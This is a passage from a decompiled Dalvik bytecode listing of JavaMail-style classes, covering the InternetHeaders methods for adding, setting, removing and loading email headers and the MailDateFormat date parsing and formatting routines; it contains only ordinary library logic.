0000016E  new-instance            v1, InternetHeaders$InternetHeader
00000172  const-string            v2, "Cc"
00000176  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000017C  invoke-interface        List->add(Object)Z, v0, v1
00000182  iget-object             v0, p0, InternetHeaders->headers:List
00000186  new-instance            v1, InternetHeaders$InternetHeader
0000018A  const-string            v2, "Bcc"
0000018E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000194  invoke-interface        List->add(Object)Z, v0, v1
0000019A  iget-object             v0, p0, InternetHeaders->headers:List
0000019E  new-instance            v1, InternetHeaders$InternetHeader
000001A2  const-string            v2, "Message-Id"
000001A6  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001AC  invoke-interface        List->add(Object)Z, v0, v1
000001B2  iget-object             v0, p0, InternetHeaders->headers:List
000001B6  new-instance            v1, InternetHeaders$InternetHeader
000001BA  const-string            v2, "In-Reply-To"
000001BE  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001C4  invoke-interface        List->add(Object)Z, v0, v1
000001CA  iget-object             v0, p0, InternetHeaders->headers:List
000001CE  new-instance            v1, InternetHeaders$InternetHeader
000001D2  const-string            v2, "References"
000001D6  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001DC  invoke-interface        List->add(Object)Z, v0, v1
000001E2  iget-object             v0, p0, InternetHeaders->headers:List
000001E6  new-instance            v1, InternetHeaders$InternetHeader
000001EA  const-string            v2, "Subject"
000001EE  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000001F4  invoke-interface        List->add(Object)Z, v0, v1
000001FA  iget-object             v0, p0, InternetHeaders->headers:List
000001FE  new-instance            v1, InternetHeaders$InternetHeader
00000202  const-string            v2, "Comments"
00000206  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000020C  invoke-interface        List->add(Object)Z, v0, v1
00000212  iget-object             v0, p0, InternetHeaders->headers:List
00000216  new-instance            v1, InternetHeaders$InternetHeader
0000021A  const-string            v2, "Keywords"
0000021E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000224  invoke-interface        List->add(Object)Z, v0, v1
0000022A  iget-object             v0, p0, InternetHeaders->headers:List
0000022E  new-instance            v1, InternetHeaders$InternetHeader
00000232  const-string            v2, "Errors-To"
00000236  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000023C  invoke-interface        List->add(Object)Z, v0, v1
00000242  iget-object             v0, p0, InternetHeaders->headers:List
00000246  new-instance            v1, InternetHeaders$InternetHeader
0000024A  const-string            v2, "MIME-Version"
0000024E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000254  invoke-interface        List->add(Object)Z, v0, v1
0000025A  iget-object             v0, p0, InternetHeaders->headers:List
0000025E  new-instance            v1, InternetHeaders$InternetHeader
00000262  const-string            v2, "Content-Type"
00000266  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000026C  invoke-interface        List->add(Object)Z, v0, v1
00000272  iget-object             v0, p0, InternetHeaders->headers:List
00000276  new-instance            v1, InternetHeaders$InternetHeader
0000027A  const-string            v2, "Content-Transfer-Encoding"
0000027E  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
00000284  invoke-interface        List->add(Object)Z, v0, v1
0000028A  iget-object             v0, p0, InternetHeaders->headers:List
0000028E  new-instance            v1, InternetHeaders$InternetHeader
00000292  const-string            v2, "Content-MD5"
00000296  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
0000029C  invoke-interface        List->add(Object)Z, v0, v1
000002A2  iget-object             v0, p0, InternetHeaders->headers:List
000002A6  new-instance            v1, InternetHeaders$InternetHeader
000002AA  const-string            v2, ":"
000002AE  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000002B4  invoke-interface        List->add(Object)Z, v0, v1
000002BA  iget-object             v0, p0, InternetHeaders->headers:List
000002BE  new-instance            v1, InternetHeaders$InternetHeader
000002C2  const-string            v2, "Content-Length"
000002C6  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000002CC  invoke-interface        List->add(Object)Z, v0, v1
000002D2  iget-object             v0, p0, InternetHeaders->headers:List
000002D6  new-instance            v1, InternetHeaders$InternetHeader
000002DA  const-string            v2, "Status"
000002DE  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v1, v2, v3
000002E4  invoke-interface        List->add(Object)Z, v0, v1
000002EA  return-void
.end method

.method public constructor <init>(InputStream)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, ArrayList
0000000A  const/16                v1, 0x28
0000000E  invoke-direct           ArrayList-><init>(I)V, v0, v1
00000014  iput-object             v0, p0, InternetHeaders->headers:List
00000018  invoke-virtual          InternetHeaders->load(InputStream)V, p0, p1
0000001E  return-void
.end method

.method public addHeader(String, String)V
          .registers 8
00000000  const/4                 v0, 0x0
00000002  iget-object             v1, p0, InternetHeaders->headers:List
00000006  invoke-interface        List->size()I, v1
0000000C  move-result             v1
0000000E  const-string            v2, "Received"
00000012  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v2
00000018  move-result             v2
0000001A  if-nez                  v2, :60
:1E
0000001E  const-string            v2, "Return-Path"
00000022  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v2
00000028  move-result             v2
0000002A  if-nez                  v2, :60
:2E
0000002E  move                    v3, v0
:30
00000030  if-eqz                  v3, :CA
:34
00000034  iget-object             v1, p0, InternetHeaders->headers:List
00000038  invoke-interface        List->size()I, v1
0000003E  move-result             v1
00000040  add-int/lit8            v2, v1, 0xFFFFFFFFFFFFFFFF
00000044  move                    v1, v0
:46
00000046  if-gez                  v2, :66
:4A
0000004A  iget-object             v0, p0, InternetHeaders->headers:List
0000004E  new-instance            v2, InternetHeaders$InternetHeader
00000052  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v2, p1, p2
00000058  invoke-interface        List->add(I, Object)V, v0, v1, v2
:5E
0000005E  return-void
:60
00000060  const/4                 v2, 0x1
00000062  move                    v3, v2
00000064  goto                    :30
:66
00000066  iget-object             v0, p0, InternetHeaders->headers:List
0000006A  invoke-interface        List->get(I)Object, v0, v2
00000070  move-result-object      v0
00000072  check-cast              v0, InternetHeaders$InternetHeader
00000076  invoke-virtual          InternetHeaders$InternetHeader->getName()String, v0
0000007C  move-result-object      v4
0000007E  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v4
00000084  move-result             v4
00000086  if-eqz                  v4, :90
:8A
0000008A  if-eqz                  v3, :B0
:8E
0000008E  move                    v1, v2
:90
00000090  invoke-virtual          InternetHeaders$InternetHeader->getName()String, v0
00000096  move-result-object      v0
00000098  const-string            v4, ":"
0000009C  invoke-virtual          String->equals(Object)Z, v0, v4
000000A2  move-result             v0
000000A4  if-eqz                  v0, :AA
:A8
000000A8  move                    v1, v2
:AA
000000AA  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
000000AE  goto                    :46
:B0
000000B0  iget-object             v0, p0, InternetHeaders->headers:List
000000B4  add-int/lit8            v1, v2, 0x1
000000B8  new-instance            v2, InternetHeaders$InternetHeader
000000BC  invoke-direct           InternetHeaders$InternetHeader-><init>(String, String)V, v2, p1, p2
000000C2  invoke-interface        List->add(I, Object)V, v0, v1, v2
000000C8  goto                    :5E
:CA
000000CA  move                    v0, v1
000000CC  goto                    :34
.end method

.method public addHeaderLine(String)V
          .registers 5
00000000  const/4                 v0, 0x0
:2
00000002  invoke-virtual          String->charAt(I)C, p1, v0
00000008  move-result             v0
0000000A  const/16                v1, 0x20
0000000E  if-eq                   v0, v1, :1A
:12
00000012  const/16                v1, 0x9
00000016  if-ne                   v0, v1, :72
:1A
0000001A  iget-object             v0, p0, InternetHeaders->headers:List
0000001E  iget-object             v1, p0, InternetHeaders->headers:List
00000022  invoke-interface        List->size()I, v1
00000028  move-result             v1
0000002A  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000002E  invoke-interface        List->get(I)Object, v0, v1
00000034  move-result-object      v0
00000036  check-cast              v0, InternetHeaders$InternetHeader
0000003A  iget-object             v1, v0, InternetHeaders$InternetHeader->line:String
0000003E  new-instance            v2, StringBuilder
00000042  invoke-static           String->valueOf(Object)String, v1
00000048  move-result-object      v1
0000004A  invoke-direct           StringBuilder-><init>(String)V, v2, v1
00000050  const-string            v1, "\r\n"
00000054  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000005A  move-result-object      v1
0000005C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
00000062  move-result-object      v1
00000064  invoke-virtual          StringBuilder->toString()String, v1
0000006A  move-result-object      v1
0000006C  iput-object             v1, v0, InternetHeaders$InternetHeader->line:String
:70
00000070  return-void
:72
00000072  iget-object             v0, p0, InternetHeaders->headers:List
00000076  new-instance            v1, InternetHeaders$InternetHeader
0000007A  invoke-direct           InternetHeaders$InternetHeader-><init>(String)V, v1, p1
00000080  invoke-interface        List->add(Object)Z, v0, v1
:86
00000086  goto                    :70
:88
00000088  move-exception          v0
0000008A  goto                    :70
:8C
0000008C  move-exception          v0
0000008E  goto                    :70
          .catch StringIndexOutOfBoundsException {:2 .. :86} :88
          .catch NoSuchElementException {:2 .. :86} :8C
.end method

.method public getAllHeaderLines()Enumeration
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public getAllHeaders()Enumeration
          .registers 5
00000000  const/4                 v3, 0x0
00000002  new-instance            v0, InternetHeaders$matchEnum
00000006  iget-object             v1, p0, InternetHeaders->headers:List
0000000A  const/4                 v2, 0x0
0000000C  invoke-direct           InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, v2, v3, v3
00000012  return-object           v0
.end method

.method public getHeader(String, String)String
          .registers 7
00000000  const/4                 v0, 0x1
00000002  const/4                 v3, 0x0
00000004  invoke-virtual          InternetHeaders->getHeader(String)[String, p0, p1
0000000A  move-result-object      v1
0000000C  if-nez                  v1, :14
:10
00000010  const/4                 v0, 0x0
:12
00000012  return-object           v0
:14
00000014  array-length            v2, v1
00000016  if-eq                   v2, v0, :1E
:1A
0000001A  if-nez                  p2, :24
:1E
0000001E  aget-object             v0, v1, v3
00000022  goto                    :12
:24
00000024  new-instance            v2, StringBuffer
00000028  aget-object             v3, v1, v3
0000002C  invoke-direct           StringBuffer-><init>(String)V, v2, v3
:32
00000032  array-length            v3, v1
00000034  if-lt                   v0, v3, :42
:38
00000038  invoke-virtual          StringBuffer->toString()String, v2
0000003E  move-result-object      v0
00000040  goto                    :12
:42
00000042  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, p2
00000048  aget-object             v3, v1, v0
0000004C  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v3
00000052  add-int/lit8            v0, v0, 0x1
00000056  goto                    :32
.end method

.method public getHeader(String)[String
          .registers 6
00000000  iget-object             v0, p0, InternetHeaders->headers:List
00000004  invoke-interface        List->iterator()Iterator, v0
0000000A  move-result-object      v1
0000000C  new-instance            v2, ArrayList
00000010  invoke-direct           ArrayList-><init>()V, v2
:16
00000016  invoke-interface        Iterator->hasNext()Z, v1
0000001C  move-result             v0
0000001E  if-nez                  v0, :32
:22
00000022  invoke-interface        List->size()I, v2
00000028  move-result             v0
0000002A  if-nez                  v0, :6A
:2E
0000002E  const/4                 v0, 0x0
:30
00000030  return-object           v0
:32
00000032  invoke-interface        Iterator->next()Object, v1
00000038  move-result-object      v0
0000003A  check-cast              v0, InternetHeaders$InternetHeader
0000003E  invoke-virtual          InternetHeaders$InternetHeader->getName()String, v0
00000044  move-result-object      v3
00000046  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v3
0000004C  move-result             v3
0000004E  if-eqz                  v3, :16
:52
00000052  iget-object             v3, v0, InternetHeaders$InternetHeader->line:String
00000056  if-eqz                  v3, :16
:5A
0000005A  invoke-virtual          InternetHeaders$InternetHeader->getValue()String, v0
00000060  move-result-object      v0
00000062  invoke-interface        List->add(Object)Z, v2, v0
00000068  goto                    :16
:6A
0000006A  invoke-interface        List->size()I, v2
00000070  move-result             v0
00000072  new-array               v0, v0, [String
00000076  invoke-interface        List->toArray([Object)[Object, v2, v0
0000007C  move-result-object      v0
0000007E  check-cast              v0, [String
00000082  goto                    :30
.end method

.method public getMatchingHeaderLines([String)Enumeration
          .registers 5
00000000  const/4                 v2, 0x1
00000002  new-instance            v0, InternetHeaders$matchEnum
00000006  iget-object             v1, p0, InternetHeaders->headers:List
0000000A  invoke-direct           InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v2
00000010  return-object           v0
.end method

.method public getMatchingHeaders([String)Enumeration
          .registers 6
00000000  new-instance            v0, InternetHeaders$matchEnum
00000004  iget-object             v1, p0, InternetHeaders->headers:List
00000008  const/4                 v2, 0x1
0000000A  const/4                 v3, 0x0
0000000C  invoke-direct           InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v3
00000012  return-object           v0
.end method

.method public getNonMatchingHeaderLines([String)Enumeration
          .registers 6
00000000  new-instance            v0, InternetHeaders$matchEnum
00000004  iget-object             v1, p0, InternetHeaders->headers:List
00000008  const/4                 v2, 0x0
0000000A  const/4                 v3, 0x1
0000000C  invoke-direct           InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v3
00000012  return-object           v0
.end method

.method public getNonMatchingHeaders([String)Enumeration
          .registers 5
00000000  const/4                 v2, 0x0
00000002  new-instance            v0, InternetHeaders$matchEnum
00000006  iget-object             v1, p0, InternetHeaders->headers:List
0000000A  invoke-direct           InternetHeaders$matchEnum-><init>(List, [String, Z, Z)V, v0, v1, p1, v2, v2
00000010  return-object           v0
.end method

.method public load(InputStream)V
          .registers 8
00000000  const/4                 v1, 0x0
00000002  new-instance            v3, LineInputStream
00000006  invoke-direct           LineInputStream-><init>(InputStream)V, v3, p1
0000000C  new-instance            v4, StringBuffer
00000010  invoke-direct           StringBuffer-><init>()V, v4
00000016  move-object             v0, v1
:18
00000018  invoke-virtual          LineInputStream->readLine()String, v3
0000001E  move-result-object      v2
00000020  if-eqz                  v2, :72
:24
00000024  const-string            v5, " "
00000028  invoke-virtual          String->startsWith(String)Z, v2, v5
0000002E  move-result             v5
00000030  if-nez                  v5, :44
:34
00000034  const-string            v5, "\t"
00000038  invoke-virtual          String->startsWith(String)Z, v2, v5
0000003E  move-result             v5
00000040  if-eqz                  v5, :72
:44
00000044  if-eqz                  v0, :50
:48
00000048  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v0
0000004E  move-object             v0, v1
:50
00000050  const-string            v5, "\r\n"
00000054  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v5
0000005A  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v2
:60
00000060  if-eqz                  v2, :70
:64
00000064  invoke-virtual          String->length()I, v2
0000006A  move-result             v2
0000006C  if-gtz                  v2, :18
:70
00000070  return-void
:72
00000072  if-eqz                  v0, :80
:76
00000076  invoke-virtual          InternetHeaders->addHeaderLine(String)V, p0, v0
:7C
0000007C  move-object             v0, v2
0000007E  goto                    :60
:80
00000080  invoke-virtual          StringBuffer->length()I, v4
00000086  move-result             v0
00000088  if-lez                  v0, :7C
:8C
0000008C  invoke-virtual          StringBuffer->toString()String, v4
00000092  move-result-object      v0
00000094  invoke-virtual          InternetHeaders->addHeaderLine(String)V, p0, v0
0000009A  const/4                 v0, 0x0
0000009C  invoke-virtual          StringBuffer->setLength(I)V, v4, v0
:A2
000000A2  goto                    :7C
:A4
000000A4  move-exception          v0
000000A6  new-instance            v1, MessagingException
000000AA  const-string            v2, "Error in input stream"
000000AE  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000B4  throw                   v1
          .catch IOException {:18 .. :A2} :A4
.end method

.method public removeHeader(String)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  move                    v1, v0
:4
00000004  iget-object             v0, p0, InternetHeaders->headers:List
00000008  invoke-interface        List->size()I, v0
0000000E  move-result             v0
00000010  if-lt                   v1, v0, :16
:14
00000014  return-void
:16
00000016  iget-object             v0, p0, InternetHeaders->headers:List
0000001A  invoke-interface        List->get(I)Object, v0, v1
00000020  move-result-object      v0
00000022  check-cast              v0, InternetHeaders$InternetHeader
00000026  invoke-virtual          InternetHeaders$InternetHeader->getName()String, v0
0000002C  move-result-object      v2
0000002E  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v2
00000034  move-result             v2
00000036  if-eqz                  v2, :40
:3A
0000003A  const/4                 v2, 0x0
0000003C  iput-object             v2, v0, InternetHeaders$InternetHeader->line:String
:40
00000040  add-int/lit8            v0, v1, 0x1
00000044  move                    v1, v0
00000046  goto                    :4
.end method

.method public setHeader(String, String)V
          .registers 9
00000000  const/4                 v2, 0x0
00000002  move                    v1, v2
00000004  move                    v3, v2
:6
00000006  iget-object             v0, p0, InternetHeaders->headers:List
0000000A  invoke-interface        List->size()I, v0
00000010  move-result             v0
00000012  if-lt                   v1, v0, :22
:16
00000016  if-nez                  v3, :20
:1A
0000001A  invoke-virtual          InternetHeaders->addHeader(String, String)V, p0, p1, p2
:20
00000020  return-void
:22
00000022  iget-object             v0, p0, InternetHeaders->headers:List
00000026  invoke-interface        List->get(I)Object, v0, v1
0000002C  move-result-object      v0
0000002E  check-cast              v0, InternetHeaders$InternetHeader
00000032  invoke-virtual          InternetHeaders$InternetHeader->getName()String, v0
00000038  move-result-object      v4
0000003A  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v4
00000040  move-result             v4
00000042  if-eqz                  v4, :100
:46
00000046  if-nez                  v3, :EC
:4A
0000004A  iget-object             v3, v0, InternetHeaders$InternetHeader->line:String
0000004E  if-eqz                  v3, :B8
:52
00000052  iget-object             v3, v0, InternetHeaders$InternetHeader->line:String
00000056  const/16                v4, 0x3A
0000005A  invoke-virtual          String->indexOf(I)I, v3, v4
00000060  move-result             v3
00000062  if-ltz                  v3, :B8
:66
00000066  new-instance            v4, StringBuilder
0000006A  iget-object             v5, v0, InternetHeaders$InternetHeader->line:String
0000006E  add-int/lit8            v3, v3, 0x1
00000072  invoke-virtual          String->substring(I, I)String, v5, v2, v3
00000078  move-result-object      v3
0000007A  invoke-static           String->valueOf(Object)String, v3
00000080  move-result-object      v3
00000082  invoke-direct           StringBuilder-><init>(String)V, v4, v3
00000088  const-string            v3, " "
0000008C  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v3
00000092  move-result-object      v3
00000094  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p2
0000009A  move-result-object      v3
0000009C  invoke-virtual          StringBuilder->toString()String, v3
000000A2  move-result-object      v3
000000A4  iput-object             v3, v0, InternetHeaders$InternetHeader->line:String
:A8
000000A8  const/4                 v3, 0x1
000000AA  move                    v0, v1
000000AC  move                    v1, v3
:AE
000000AE  add-int/lit8            v0, v0, 0x1
000000B2  move                    v3, v1
000000B4  move                    v1, v0
000000B6  goto                    :6
:B8
000000B8  new-instance            v3, StringBuilder
000000BC  invoke-static           String->valueOf(Object)String, p1
000000C2  move-result-object      v4
000000C4  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000000CA  const-string            v4, ": "
000000CE  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
000000D4  move-result-object      v3
000000D6  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, p2
000000DC  move-result-object      v3
000000DE  invoke-virtual          StringBuilder->toString()String, v3
000000E4  move-result-object      v3
000000E6  iput-object             v3, v0, InternetHeaders$InternetHeader->line:String
000000EA  goto                    :A8
:EC
000000EC  iget-object             v0, p0, InternetHeaders->headers:List
000000F0  invoke-interface        List->remove(I)Object, v0, v1
000000F6  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
000000FA  move                    v0, v1
000000FC  move                    v1, v3
000000FE  goto                    :AE
:100
00000100  move                    v0, v1
00000102  move                    v1, v3
00000104  goto                    :AE
.end method

#--------------------------------------------------------------------------------
.class public MailDateFormat
.super SimpleDateFormat
.source ""

.field private static cal:Calendar = null
.field static debug:Z = false
.field private static final serialVersionUID:J = 0x8EEBAE2A0A637D55L
.field private static tz:TimeZone

.method static constructor <clinit>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  sput-boolean            v0, MailDateFormat->debug:Z
00000006  const-string            v0, "GMT"
0000000A  invoke-static           TimeZone->getTimeZone(String)TimeZone, v0
00000010  move-result-object      v0
00000012  sput-object             v0, MailDateFormat->tz:TimeZone
00000016  new-instance            v0, GregorianCalendar
0000001A  sget-object             v1, MailDateFormat->tz:TimeZone
0000001E  invoke-direct           GregorianCalendar-><init>(TimeZone)V, v0, v1
00000024  sput-object             v0, MailDateFormat->cal:Calendar
00000028  return-void
.end method

.method public constructor <init>()V
          .registers 3
00000000  const-string            v0, "EEE, d MMM yyyy HH:mm:ss \'XXXXX\' (z)"
00000004  sget-object             v1, Locale->US:Locale
00000008  invoke-direct           SimpleDateFormat-><init>(String, Locale)V, p0, v0, v1
0000000E  return-void
.end method

.method private static declared-synchronized ourUTC(I, I, I, I, I, I, I, Z)Date
          .registers 12
00000000  const-class             v1, MailDateFormat
00000004  monitor-enter           v1
:6
00000006  sget-object             v0, MailDateFormat->cal:Calendar
0000000A  invoke-virtual          Calendar->clear()V, v0
00000010  sget-object             v0, MailDateFormat->cal:Calendar
00000014  invoke-virtual          Calendar->setLenient(Z)V, v0, p7
0000001A  sget-object             v0, MailDateFormat->cal:Calendar
0000001E  const/4                 v2, 0x1
00000020  invoke-virtual          Calendar->set(I, I)V, v0, v2, p0
00000026  sget-object             v0, MailDateFormat->cal:Calendar
0000002A  const/4                 v2, 0x2
0000002C  invoke-virtual          Calendar->set(I, I)V, v0, v2, p1
00000032  sget-object             v0, MailDateFormat->cal:Calendar
00000036  const/4                 v2, 0x5
00000038  invoke-virtual          Calendar->set(I, I)V, v0, v2, p2
0000003E  sget-object             v0, MailDateFormat->cal:Calendar
00000042  const/16                v2, 0xB
00000046  invoke-virtual          Calendar->set(I, I)V, v0, v2, p3
0000004C  sget-object             v0, MailDateFormat->cal:Calendar
00000050  const/16                v2, 0xC
00000054  add-int                 v3, p4, p6
00000058  invoke-virtual          Calendar->set(I, I)V, v0, v2, v3
0000005E  sget-object             v0, MailDateFormat->cal:Calendar
00000062  const/16                v2, 0xD
00000066  invoke-virtual          Calendar->set(I, I)V, v0, v2, p5
0000006C  sget-object             v0, MailDateFormat->cal:Calendar
00000070  invoke-virtual          Calendar->getTime()Date, v0
:76
00000076  move-result-object      v0
00000078  monitor-exit            v1
0000007A  return-object           v0
:7C
0000007C  move-exception          v0
0000007E  monitor-exit            v1
00000080  throw                   v0
          .catchall {:6 .. :76} :7C
.end method

.method private static parseDate([C, ParsePosition, Z)Date
          .registers 14
00000000  const/4                 v6, 0x0
:2
00000002  new-instance            v7, MailDateParser
00000006  invoke-direct           MailDateParser-><init>([C)V, v7, p0
0000000C  invoke-virtual          MailDateParser->skipUntilNumber()V, v7
00000012  invoke-virtual          MailDateParser->parseNumber()I, v7
00000018  move-result             v2
0000001A  const/16                v0, 0x2D
0000001E  invoke-virtual          MailDateParser->skipIfChar(C)Z, v7, v0
00000024  move-result             v0
00000026  if-nez                  v0, :30
:2A
0000002A  invoke-virtual          MailDateParser->skipWhiteSpace()V, v7
:30
00000030  invoke-virtual          MailDateParser->parseMonth()I, v7
00000036  move-result             v1
00000038  const/16                v0, 0x2D
0000003C  invoke-virtual          MailDateParser->skipIfChar(C)Z, v7, v0
00000042  move-result             v0
00000044  if-nez                  v0, :4E
:48
00000048  invoke-virtual          MailDateParser->skipWhiteSpace()V, v7
:4E
0000004E  invoke-virtual          MailDateParser->parseNumber()I, v7
00000054  move-result             v0
00000056  const/16                v3, 0x32
0000005A  if-ge                   v0, v3, :C2
:5E
0000005E  add-int/lit16           v0, v0, 0x7D0
:62
00000062  invoke-virtual          MailDateParser->skipWhiteSpace()V, v7
00000068  invoke-virtual          MailDateParser->parseNumber()I, v7
0000006E  move-result             v3
00000070  const/16                v4, 0x3A
00000074  invoke-virtual          MailDateParser->skipChar(C)V, v7, v4
0000007A  invoke-virtual          MailDateParser->parseNumber()I, v7
00000080  move-result             v4
00000082  const/16                v5, 0x3A
00000086  invoke-virtual          MailDateParser->skipIfChar(C)Z, v7, v5
0000008C  move-result             v5
0000008E  if-eqz                  v5, :174
:92
00000092  invoke-virtual          MailDateParser->parseNumber()I, v7
:98
00000098  move-result             v5
:9A
0000009A  invoke-virtual          MailDateParser->skipWhiteSpace()V, v7
000000A0  invoke-virtual          MailDateParser->parseTimeZone()I, v7
:A6
000000A6  move-result             v6
:A8
000000A8  invoke-virtual          MailDateParser->getIndex()I, v7
000000AE  move-result             v7
000000B0  invoke-virtual          ParsePosition->setIndex(I)V, p1, v7
000000B6  move                    v7, p2
000000B8  invoke-static/range     MailDateFormat->ourUTC(I, I, I, I, I, I, I, Z)Date, v0 .. v7
000000BE  move-result-object      v0
:C0
000000C0  return-object           v0
:C2
000000C2  const/16                v3, 0x64
000000C6  if-ge                   v0, v3, :62
:CA
000000CA  add-int/lit16           v0, v0, 0x76C
000000CE  goto                    :62
:D0
000000D0  move-exception          v8
000000D2  sget-boolean            v8, MailDateFormat->debug:Z
000000D6  if-eqz                  v8, :A8
:DA
000000DA  sget-object             v8, System->out:PrintStream
000000DE  new-instance            v9, StringBuilder
000000E2  const-string            v10, "No timezone? : \'"
000000E6  invoke-direct           StringBuilder-><init>(String)V, v9, v10
000000EC  new-instance            v10, String
000000F0  invoke-direct           String-><init>([C)V, v10, p0
000000F6  invoke-virtual          StringBuilder->append(String)StringBuilder, v9, v10
000000FC  move-result-object      v9
000000FE  const-string            v10, "\'"
00000102  invoke-virtual          StringBuilder->append(String)StringBuilder, v9, v10
00000108  move-result-object      v9
0000010A  invoke-virtual          StringBuilder->toString()String, v9
00000110  move-result-object      v9
00000112  invoke-virtual          PrintStream->println(String)V, v8, v9
:118
00000118  goto                    :A8
:11A
0000011A  move-exception          v0
0000011C  sget-boolean            v1, MailDateFormat->debug:Z
00000120  if-eqz                  v1, :168
:124
00000124  sget-object             v1, System->out:PrintStream
00000128  new-instance            v2, StringBuilder
0000012C  const-string            v3, "Bad date: \'"
00000130  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000136  new-instance            v3, String
0000013A  invoke-direct           String-><init>([C)V, v3, p0
00000140  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000146  move-result-object      v2
00000148  const-string            v3, "\'"
0000014C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000152  move-result-object      v2
00000154  invoke-virtual          StringBuilder->toString()String, v2
0000015A  move-result-object      v2
0000015C  invoke-virtual          PrintStream->println(String)V, v1, v2
00000162  invoke-virtual          Exception->printStackTrace()V, v0
:168
00000168  const/4                 v0, 0x1
0000016A  invoke-virtual          ParsePosition->setIndex(I)V, p1, v0
00000170  const/4                 v0, 0x0
00000172  goto                    :C0
:174
00000174  move                    v5, v6
00000176  goto                    :9A
          .catch Exception {:2 .. :98} :11A
          .catch ParseException {:9A .. :A6} :D0
          .catch Exception {:9A .. :A6} :11A
          .catch Exception {:A8 .. :118} :11A
.end method

.method public format(Date, StringBuffer, FieldPosition)StringBuffer
          .registers 10
00000000  const/16                v5, 0xA
00000004  invoke-virtual          StringBuffer->length()I, p2
0000000A  move-result             v0
0000000C  invoke-super            SimpleDateFormat->format(Date, StringBuffer, FieldPosition)StringBuffer, p0, p1, p2, p3
00000012  add-int/lit8            v0, v0, 0x19
:16
00000016  invoke-virtual          StringBuffer->charAt(I)C, p2, v0
0000001C  move-result             v1
0000001E  const/16                v2, 0x58
00000022  if-ne                   v1, v2, :DC
:26
00000026  iget-object             v1, p0, MailDateFormat->calendar:Calendar
0000002A  invoke-virtual          Calendar->clear()V, v1
00000030  iget-object             v1, p0, MailDateFormat->calendar:Calendar
00000034  invoke-virtual          Calendar->setTime(Date)V, v1, p1
0000003A  iget-object             v1, p0, MailDateFormat->calendar:Calendar
0000003E  const/16                v2, 0xF
00000042  invoke-virtual          Calendar->get(I)I, v1, v2
00000048  move-result             v1
0000004A  iget-object             v2, p0, MailDateFormat->calendar:Calendar
0000004E  const/16                v3, 0x10
00000052  invoke-virtual          Calendar->get(I)I, v2, v3
00000058  move-result             v2
0000005A  add-int/2addr           v1, v2
0000005C  if-gez                  v1, :E2
:60
00000060  add-int/lit8            v2, v0, 0x1
00000064  const/16                v3, 0x2D
00000068  invoke-virtual          StringBuffer->setCharAt(I, C)V, p2, v0, v3
0000006E  neg-int                 v0, v1
00000070  move                    v1, v2
:72
00000072  div-int/lit8            v0, v0, 0x3C
00000076  div-int/lit16           v0, v0, 0x3E8
0000007A  div-int/lit8            v2, v0, 0x3C
0000007E  rem-int/lit8            v0, v0, 0x3C
00000082  add-int/lit8            v3, v1, 0x1
00000086  div-int/lit8            v4, v2, 0xA
0000008A  invoke-static           Character->forDigit(I, I)C, v4, v5
00000090  move-result             v4
00000092  invoke-virtual          StringBuffer->setCharAt(I, C)V, p2, v1, v4
00000098  add-int/lit8            v1, v3, 0x1
0000009C  rem-int/lit8            v2, v2, 0xA
000000A0  invoke-static           Character->forDigit(I, I)C, v2, v5
000000A6  move-result             v2
000000A8  invoke-virtual          StringBuffer->setCharAt(I, C)V, p2, v3, v2
